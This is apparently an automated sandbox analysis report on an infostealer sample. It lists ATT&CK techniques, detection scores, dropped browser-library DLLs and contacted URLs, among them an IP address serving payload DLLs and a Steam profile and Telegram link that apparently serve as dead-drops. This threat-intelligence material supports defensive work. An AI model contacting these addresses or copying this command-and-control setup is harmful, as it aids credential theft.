Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	511 Process Injection	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	54 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	21%	ReversingLabs	Win32.Infostealer.Generic
file.exe	31%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Roaming\msvcp110.dll	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
steamcommunity.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://player.vimeo.com	0%	URL Reputation	safe
https://player.vimeo.com	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://store.steampowered.com/points/shop/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0%	URL Reputation	safe
https://store.steampowered.com/;	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://store.steampowered.com/news/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp	0%	Virustotal		Browse
https://49.12.197.9/N	9%	Virustotal		Browse
https://steamcommunity.com/?subsection=broadcasts	0%	Virustotal		Browse
https://steamcommunity.com/profiles/76561199780418869/badges	0%	Virustotal		Browse
https://49.12.197.9/	10%	Virustotal		Browse
https://49.12.197.9/freebl3.dll	0%	Virustotal		Browse
https://www.youtube.com	0%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
https://49.12.197.9/sqlp.dll	11%	Virustotal		Browse
http://cowod.hopto.org_DEBUG.zip/c	0%	Virustotal		Browse
https://49.12.197.9	10%	Virustotal		Browse
https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=HeLxjRDbQrcV&l=e	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=2ZRoxzol	0%	Virustotal		Browse
https://49.12.197.9/softokn3.dll	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=fWwP	0%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	104.102.49.254	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://49.12.197.9/	true	10%, Virustotal, Browse	unknown
https://49.12.197.9/freebl3.dll	true	0%, Virustotal, Browse	unknown
https://49.12.197.9/sqlp.dll	true	11%, Virustotal, Browse	unknown
https://49.12.197.9/softokn3.dll	true	0%, Virustotal, Browse	unknown
https://49.12.197.9/vcruntime140.dll	true		unknown
https://49.12.197.9/nss3.dll	true		unknown
https://49.12.197.9/mozglue.dll	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	aspnet_regiis.exe, 00000003.00000003.2518193807.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, AEHIEC.3.dr	false	URL Reputation: safe	unknown
https://player.vimeo.com	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	aspnet_regiis.exe, 00000003.00000003.2518193807.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, AEHIEC.3.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	0%, Virustotal, Browse	unknown
https://49.12.197.9/b	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/?subsection=broadcasts	aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	0%, Virustotal, Browse	unknown
https://49.12.197.9/g	aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2531063121.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2531200082.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2531268467.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2530342786.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://49.12.197.9/nss3.dll.9#	aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/subscriber_agreement/	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://49.12.197.9/N	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp	false	9%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://49.12.197.9/S	aspnet_regiis.exe, 00000003.00000003.2517610034.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2518356276.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://49.12.197.9/freebl3.dll6	aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2664851403.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2664696725.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199780418869/badges	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	0%, Virustotal, Browse	unknown
https://49.12.197.9/W	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.valvesoftware.com/legal.htm	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://www.youtube.com	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://49.12.197.9/;	aspnet_regiis.exe, 00000003.00000003.2664851403.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2664696725.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://cowod.hopto.org_DEBUG.zip/c	file.exe, 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://49.12.197.9	76561199780418869[1].htm.3.dr	false	10%, Virustotal, Browse	unknown
https://49.12.197.9/A	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=HeLxjRDbQrcV&l=e	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0	file.exe, 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://49.12.197.9FHIEHDGI--	aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=2ZRoxzol	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a	aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://s.ytimg.com;	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steam.tv/	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
